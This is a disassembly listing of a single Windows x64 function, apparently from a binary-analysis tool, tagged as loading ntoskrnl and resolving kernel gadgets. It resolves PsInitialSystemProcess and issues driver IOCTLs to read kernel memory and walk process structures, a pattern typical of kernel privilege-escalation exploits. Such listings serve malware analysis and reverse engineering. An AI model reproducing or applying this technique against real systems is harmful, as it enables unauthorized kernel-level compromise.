Function at 0x140008d10
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x140013010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rcx
lea rcx, [0x14000dd08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r12d, r12d
mov rbx, rax
test rax, rax
jne 0x140008d59
mov rax, qword [rdi + 0x28]
lea rbx, [rdi + 0x28]
mov esi, r12d
jmp 0x140008d89
lea rdx, str.PsInitialSystemProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rdi + 0x38]
mov rcx, rbx
sub rsi, rbx
add rsi, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rdi + 0x28]
lea rbx, [rdi + 0x28]
test rsi, rsi
jne 0x140008d96
test rax, rax
jne 0x140008d96
mov rsi, r12
jmp 0x140008e3c
mov rcx, qword [rdi]
lea r8, [rbp - 0x19]
mov qword [rsp + 0x38], r12
mov r9d, 0x18
mov qword [rbp - 0x19], rax
mov edx, 0x222014
lea rax, [rbp - 0x39]
mov qword [rbp - 9], rsi
mov qword [rsp + 0x30], rax
mov rsi, r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov dword [rbp - 0x39], r12d
mov dword [rbp - 0x11], 8
mov dword [rbp - 0xd], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
js 0x140008e3c
mov rax, qword [rbx]
lea r8, [rbp - 0x29]
mov rcx, qword [rdi]
mov r9d, 0x10
mov qword [rbp - 0x29], rax
mov edx, 0x222010
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x39]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x31]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x39], r12d
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x21], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne rsi, qword [rbp - 0x31]
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xf8], r15
mov qword [rbp - 0x31], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea r9, [rbp - 0x31]
mov r8, rsi
mov rcx, rdi
call fcn.140008af0
test eax, eax
je 0x140009024
mov esi, dword [rdi + 0x50]
add rsi, qword [rbp - 0x31]
mov r13, rsi
mov rax, qword [rbx]
add rsi, 8
jne 0x140008e93
test rax, rax
je 0x140009024
mov rcx, qword [rdi]
lea r8, [rbp - 1]
mov qword [rsp + 0x38], r12
mov r9d, 0x18
mov qword [rbp - 1], rax
mov edx, 0x222014
lea rax, [rbp - 0x39]
mov dword [rbp - 0x39], r12d
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov qword [rbp + 0xf], rsi
mov dword [rbp + 7], 8
mov dword [rbp + 0xb], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
js 0x140009024
mov rax, qword [rbx]
lea r8, [rbp - 0x29]
mov rcx, qword [rdi]
mov r9d, 0x10
mov qword [rbp - 0x29], rax
mov edx, 0x222010
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x39]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x31]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x39], r12d
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x21], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140009024
mov rsi, qword [rbp - 0x31]
cmp rsi, r13
je 0x140009024
mov eax, dword [rdi + 0x5c]
mov r15, rsi
mov rcx, qword [rbx]
sub r15, rax
mov eax, dword [rdi + 0x54]
add rax, r15
jne 0x140008f65
test rcx, rcx
je 0x140009007
xor r14d, r14d
mov qword [rbp + 0x27], rax
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x39]
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x17]
mov qword [rbp + 0x17], rcx
mov edx, 0x222014
mov rcx, qword [rdi]
lea r9d, [r14 + 0x18]
mov dword [rsp + 0x28], r14d
mov dword [rbp - 0x39], r14d
mov dword [rbp + 0x1f], 8
mov dword [rbp + 0x23], 0x6c61696e
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
js 0x140009007
mov rax, qword [rbx]
lea r9d, [r14 + 0x10]
mov rcx, qword [rdi]
lea r8, [rbp - 0x19]
mov qword [rbp - 0x19], rax
mov edx, 0x222010
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x39]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x31]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x39], r14d
mov qword [rbp - 0x31], r14
mov qword [rbp - 0x11], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne r12, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, eax
cmp rax, r12
je 0x14000901c
xor r12d, r12d
jmp 0x140008e81
mov eax, dword [rdi + 0x58]
add rax, r15
jmp 0x140009026
xor eax, eax
mov r15, qword [rsp + 0xf8]
mov r14, qword [rsp + 0xf0]
mov r13, qword [rsp + 0xe8]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14000b460
add rsp, 0xb0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret